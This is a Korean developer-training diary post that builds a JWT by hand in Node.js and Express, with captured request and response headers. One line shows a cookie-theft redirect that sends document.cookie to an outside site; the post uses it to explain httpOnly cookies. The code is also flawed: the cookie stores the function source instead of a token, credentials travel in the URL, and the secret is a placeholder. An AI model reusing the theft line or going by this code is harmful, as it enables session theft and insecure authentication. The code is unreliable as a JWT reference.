고객 정보를 저장하는 DB와 연결된 Server.
Server 가 여러개가 되면 Client가 매번 각기 다른 Server에 재로그인을 해서 request를 보내야 server가 해당 Client를 식별할 수있다. 이러한 문제 해결 위해 브라우저의 쿠키에 해당 정보를 암호화해서 넣어놓고 Client가 어떤 Server를 사용하더라도 편리하게 JWT 이 생김
JWT (Json Web Token)
전체적인 흐름 :
1. Clinet ----- id, pw ------> Server
2. Server - DB조회, Token 생성
3. Client <------token ------- Server
4. Client - Token을 브라우저 Cookie에 저장
5. 이 후, Client는 매 요청마다 Token을 Storage에서 빼서 보내게 됨 -> server는 middleware를 통해 token 쳌
=> server 메모리 효율성 ↑↑
암호화된 Token 은 : Header, payload, verify signature 3 부분으로 구성되어 있다.
Binary data , 바이너리 데이터란?
- 2진 data (기본 단위가 0,1 상태만 가지는 데이터)
- text data 보다 용량이 적어 server에 부담을 덜 준다 ex) 사진, 동영상
- 컴퓨터가 직접적으로 이해하고 실행시킬 수 있는 데이터 종류
- 컴튜터의 native 언어라고 여겨진다.
- 컴퓨터에서 a process가 수행될때마다 바이너리 데이터는 생성된다.
- 모든 Procesess, 그들의 type 상관없이, 실행 전 바이너리 데이터로 변환된다.
쉽게 컴퓨터가 쓰는 언어구나~ 라고 이해하면 될 것 같다.
'base64'란 ?
- Base64 is a group of similar binary-to-text encoding schemes that represent binary data in an ASCII string format by translating it into a radix-64 representation.
- Node.js를 사용하여 Base64 String으로 인코딩하는건 Buffer Object를 쓰는게 가장 쉽다.
- Buffer는 an immutable array of integers / UTF-8, NBase64, UCS2, even Hex을 인코딩 할 수 있다.
왜 Base64 encoding을 쓰는지 ?
- binary format으로 보내는건 모든 applications or network systems 이 raw binary를 처리, handle 할 수 없을 수도 있기에 조금 위험하다. 반면 ASCII character set은 널리 알려져 있고 대부분의 시스템이 사용할 수 있다.
Therefore, if you want to send images or any other binary file to an email server you first need to encode it in text-based format, preferably ASCII. This is where Base64 encoding comes extremely handy in converting binary data to the correct formats.
buffer, 버퍼란?
하나의 장치에서 다른 장치로 데이터를 전송할 경우에 양자간의 데이터의 전송속도나 처리속도의 차를 보상하여 양호하게 결합할 목적으로 사용하는 기억영역을 버퍼 또는 버퍼 에어리어라고 한다. 보통 중앙처리장치와 단말이나 다른 입출력장치사이의 데이터 송수신에는 입출력 영역으로서 버퍼를 필요로 한다. 또, 중앙처리장치와 주기억장치의 사이에 고속으로 동작하는 소용량의 버퍼 메모리(로컬 메모리라고도 한다)를 설치하여 처리의 고속화를 꾀하는 방식도 있다.
[네이버 지식백과] 버퍼 [Buffer] (정보통신용어사전, 2008. 1. 15., 윤승은)
Buffer.from 이란 ?
The Buffer.from() method creates a new buffer filled with the specified string, array, or buffer.
let txt1 = "나는 텍스트다";
let txt2 = Buffer.from(txt1);
let txt3 = Buffer.from(txt1).toString();
let txt4 = Buffer.from(txt1).toString('base64');
let txt5 = Buffer.from(txt1).toString('base64').replace('==','');
console.log(txt2); //<Buffer eb 82 98 eb 8a 94 20 ed 85 8d ec 8a a4 ed 8a b8 eb 8b a4>
console.log(txt3); //나는 텍스트다
console.log(txt4); //64KY64qUIO2FjeyKpO2KuOuLpA==
console.log(txt5); //64KY64qUIO2FjeyKpO2KuOuLpA
Header 만들기
let header = {
"alg":"HS256",
"typ":"JWT",
}
console.log(header); //객체
console.log(JSON.stringify(header)); //객체 -> STIRNG 바꿈
console.log(Buffer.from(JSON.stringify(header)));
console.log(Buffer.from(JSON.stringify(header)).toString('base64'));//toStirng(ASCII string format)
let encodeHeader = Buffer.from(JSON.stringify(header))
.toString('base64')
.replace('=','');
console.log('encoded header is : ' + encodeHeader);
Payload 만들기
위와 같은 방식
let encodePayload = Buffer.from(JSON.stringify(payload))
.toString('base64')
.replace('=','');
console.log('encoded payload is : '+ encodePayload);
console
encoded payload is : eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4iLCJpYXQiOjEyMzMyNX0
Verify signature 만들기
- 위에서 만든 header, payload를 사용하여 암호화 한 내용을 담는 공간 = 비밀 키
암호화 하는 package 다운
$npm install crypto
key.js에 코드 추가
const crypto = require('crypto');
creypto.createHmac( A, B);
첫번째 인자값 : 어떤 암호화할건지 sha256
두번째 인자값 : 암호화 규칙 : string (인단 아무 string 쓰기)
const crypto = require('crypto');
function createKey() {
let header = {
"alg": "HS256",
"typ": "JWT",
}
let encodeHeader = Buffer.from(JSON.stringify(header))
.toString('base64')
.replace('=', '');
let payload = {
"sub": "1234567890",
"name": "John",
"iat": 123325,
}
let encodePayload = Buffer.from(JSON.stringify(payload))
.toString('base64')
.replace('=', '');
let signature = crypto.createHmac('sha256', Buffer.from('any memo'))
.update(`${encodeHeader}.${encodePayload}`)
.digest('base64').replace('=', '');
console.log('signature is ' + signature)
return signature;
}
module.exports = createKey;
console : token 완성 & exports 코드 작성 (function 으로 묶고 return )
직접 Client, serve를 만들어 token 생성, 전달, 받아보고 각각 실행단계별 req,res msg 분석해보기
1. server.js 파일 생성 , 기본 코드 작성
$npm install express
const express=require('express');
const app = express();
app.get('/', (req,res)=>{
res.send('hello');
})
app.listen(3000,()=>{
console.log('start port : 3000');
})
2. cookie에 아까 만든 tokenKey 를 담기
$npm i cookie-parser
const express=require('express');
const cookieParser=require('cookie-parser');
const tokenKey=require('./key');
const app = express();
app.use(cookieParser());
app.get('/', (req,res)=>{
res.send('hello <a href="/menu1"> menu1</a><a href="/login?id=root&pw=root">로그인</a>');
})
app.get('/login',(req,res)=>{
let {id,pw} = req.query;
if(id=='root' && pw=='root'){
res.cookie('token',tokenKey);
res.redirect('/?msg=로그인성공');
}else{
res.redirect('/?msg=id와 pw가 일치하지 않습니다.');
}
})
app.get('/menu1',(req,res)=>{
console.log(req.cookies);
res.send('menu1페이지입니다');
})
app.listen(3000,()=>{
console.log('start port : 3000');
})
로그인을 하면 -> id, pw 일치 확인 -> 일치하면 응답에 token 값 보냄 -> 브라우저가 storage에 해당 token을 담고 server 방문할 때마다 사용
3. 실행해보면서 networks - req,res headers/ body 보기
localhost:3000
app.get('/', (req,res)=>{
res.send('hello <a href="/menu1"> menu1</a><a href="/login?id=root&pw=root">로그인</a>');
})
요청 header
GET / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Token 값 아직 없음
응답 header + body
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 79
ETag: W/"4f-h3ih8YYy3eaZi8JdDPfLHnnhpik"
Date: Thu, 27 May 2021 08:31:46 GMT
Connection: keep-alive
Keep-Alive: timeout=5
hello menu1로그인
token 없음
로그인 클릭 -> id, pw root 으로 자동 로그인이 되도록 코드 설정해놓음
app.get('/', (req,res)=>{
res.send('hello <a href="/menu1"> menu1</a><a href="/login?id=root&pw=root">로그인</a>');
})
app.get('/login',(req,res)=>{
let {id,pw} = req.query;
if(id=='root' && pw=='root'){
res.cookie('token',tokenKey);
res.redirect('/?msg=로그인성공');
}else{
res.redirect('/?msg=id와 pw가 일치하지 않습니다.');
}
})
request header
GET /login?id=root&pw=root HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://localhost:3000/
Upgrade-Insecure-Requests: 1
client -> server에 /login url을 get 으로 요청할 때 아직 token 없음
app.get('/login',(req,res)=>{
let {id,pw} = req.query;
if(id=='root' && pw=='root'){
res.cookie('token',tokenKey);
res.redirect('/?msg=로그인성공');
server가 요청을 받고 일치하는지 비교 (일치함!) => res.cookie 만들어서 res 응답
response header
HTTP/1.1 302 Found
X-Powered-By: Express
Set-Cookie: token=function%20createKey()%20%7B%0D%0A%20%20%20%20let%20header%20%3D%20%7B%0D%0A%20%20%20%20%20%20%20%20%22alg%22%3A%20%22HS256%22%2C%0D%0A%20%20%20%20%20%20%20%20%22typ%22%3A%20%22JWT%22%2C%0D%0A%20%20%20%20%7D%0D%0A%0D%0A%20%20%20%20let%20encodeHeader%20%3D%20Buffer.from(JSON.stringify(header))%0D%0A%20%20%20%20%20%20%20%20.toString('base64')%0D%0A%20%20%20%20%20%20%20%20.replace('%3D'%2C%20'')%3B%0D%0A%0D%0A%20%20%20%20let%20payload%20%3D%20%7B%0D%0A%20%20%20%20%20%20%20%20%22sub%22%3A%20%221234567890%22%2C%0D%0A%20%20%20%20%20%20%20%20%22name%22%3A%20%22John%22%2C%0D%0A%20%20%20%20%20%20%20%20%22iat%22%3A%20123325%2C%0D%0A%20%20%20%20%7D%0D%0A%0D%0A%20%20%20%20let%20encodePayload%20%3D%20Buffer.from(JSON.stringify(payload))%0D%0A%20%20%20%20%20%20%20%20.toString('base64')%0D%0A%20%20%20%20%20%20%20%20.replace('%3D'%2C%20'')%3B%0D%0A%0D%0A%0D%0A%20%20%20%20let%20signature%20%3D%20crypto.createHmac('sha256'%2C%20Buffer.from('any%20memo'))%0D%0A%20%20%20%20%20%20%20%20.update(%60%24%7BencodeHeader%7D.%24%7BencodePayload%7D%60)%0D%0A%20%20%20%20%20%20%20%20.digest('base64').replace('%3D'%2C%20'')%3B%0D%0A%0D%0A%20%20%20%20console.log('signature%20is%20'%20%2B%20signature)%0D%0A%20%20%20%20return%20signature%3B%0D%0A%7D; Path=/
Location: /?msg=%EB%A1%9C%EA%B7%B8%EC%9D%B8%EC%84%B1%EA%B3%B5
Vary: Accept
Content-Type: text/html; charset=utf-8
Content-Length: 146
Date: Thu, 27 May 2021 08:39:18 GMT
Connection: keep-alive
Keep-Alive: timeout=5
token이 이 때 생김 !
이후 menu1 클릭
request header (Client -> server) 토큰 존재
GET /menu1 HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost:3000/?msg=%EB%A1%9C%EA%B7%B8%EC%9D%B8%EC%84%B1%EA%B3%B5
Connection: keep-alive
Cookie: token=function%20createKey()%20%7B%0D%0A%20%20%20%20let%20header%20%3D%20%7B%0D%0A%20%20%20%20%20%20%20%20%22alg%22%3A%20%22HS256%22%2C%0D%0A%20%20%20%20%20%20%20%20%22typ%22%3A%20%22JWT%22%2C%0D%0A%20%20%20%20%7D%0D%0A%0D%0A%20%20%20%20let%20encodeHeader%20%3D%20Buffer.from(JSON.stringify(header))%0D%0A%20%20%20%20%20%20%20%20.toString('base64')%0D%0A%20%20%20%20%20%20%20%20.replace('%3D'%2C%20'')%3B%0D%0A%0D%0A%20%20%20%20let%20payload%20%3D%20%7B%0D%0A%20%20%20%20%20%20%20%20%22sub%22%3A%20%221234567890%22%2C%0D%0A%20%20%20%20%20%20%20%20%22name%22%3A%20%22John%22%2C%0D%0A%20%20%20%20%20%20%20%20%22iat%22%3A%20123325%2C%0D%0A%20%20%20%20%7D%0D%0A%0D%0A%20%20%20%20let%20encodePayload%20%3D%20Buffer.from(JSON.stringify(payload))%0D%0A%20%20%20%20%20%20%20%20.toString('base64')%0D%0A%20%20%20%20%20%20%20%20.replace('%3D'%2C%20'')%3B%0D%0A%0D%0A%0D%0A%20%20%20%20let%20signature%20%3D%20crypto.createHmac('sha256'%2C%20Buffer.from('any%20memo'))%0D%0A%20%20%20%20%20%20%20%20.update(%60%24%7BencodeHeader%7D.%24%7BencodePayload%7D%60)%0D%0A%20%20%20%20%20%20%20%20.digest('base64').replace('%3D'%2C%20'')%3B%0D%0A%0D%0A%20%20%20%20console.log('signature%20is%20'%20%2B%20signature)%0D%0A%20%20%20%20return%20signature%3B%0D%0A%7D
Upgrade-Insecure-Requests: 1
If-None-Match: W/"17-lF+PW1g1HZxjk2nizWMN9cvRg7Y"
Cache-Control: max-age=0
response header (응답할 때 굳이 토큰을 또 보내지 않음)
HTTP/1.1 304 Not Modified
X-Powered-By: Express
ETag: W/"17-lF+PW1g1HZxjk2nizWMN9cvRg7Y"
Date: Thu, 27 May 2021 08:43:36 GMT
Connection: keep-alive
Keep-Alive: timeout=5
=> cookie는 header안에 있다.
token 안전하게 만들기
ex) console.log에 document.cookie 하면 token 값이 나옴
악용해서
location.href(`http://naver.com?${document.cookie}`) 이렇게 해버리면 쿠키값을 가지고 naver로 이동하게 되어 위험
-> cookie() 3번째 인자값에 쿠키설정값 추가
app.get('/login',(req,res)=>{
let {id,pw} = req.query;
if(id=='root' && pw=='root'){
res.cookie('token',tokenKey, {httpOnly:true,secure:true}); // 객체로 추가
res.redirect('/?msg=로그인성공');
}else{
res.redirect('/?msg=id와 pw가 일치하지 않습니다.');
}
})
cookie 는 저장되어 있지만 보이지 않게됨.
References
https://www.techopedia.com/definition/17929/binary-data
https://stackabuse.com/encoding-and-decoding-base64-strings-in-node-js/
'블록체인 기반 핀테크 및 응용 SW개발자 양성과정 일기' 카테고리의 다른 글
[53일차 복습] JWT 예제 토큰 sha256 암호화, 복호화, 검증하기 with JavaScript, Node.js (0) | 2021.05.30 |
---|---|
[53일차] 20210528 JWT token 암호화 , 검증 예제 Node.js (6) | 2021.05.28 |
[52일차]20210527 JWT token 토큰 만들어 브라우저 cookie에 저장하기 (0) | 2021.05.27 |
[51일차 복습] 카카오 API / 주소, 우편번호 요청 및 가져오기 (0) | 2021.05.26 |
[51일차]20210526 API 카카오 주소 가져오기 (0) | 2021.05.26 |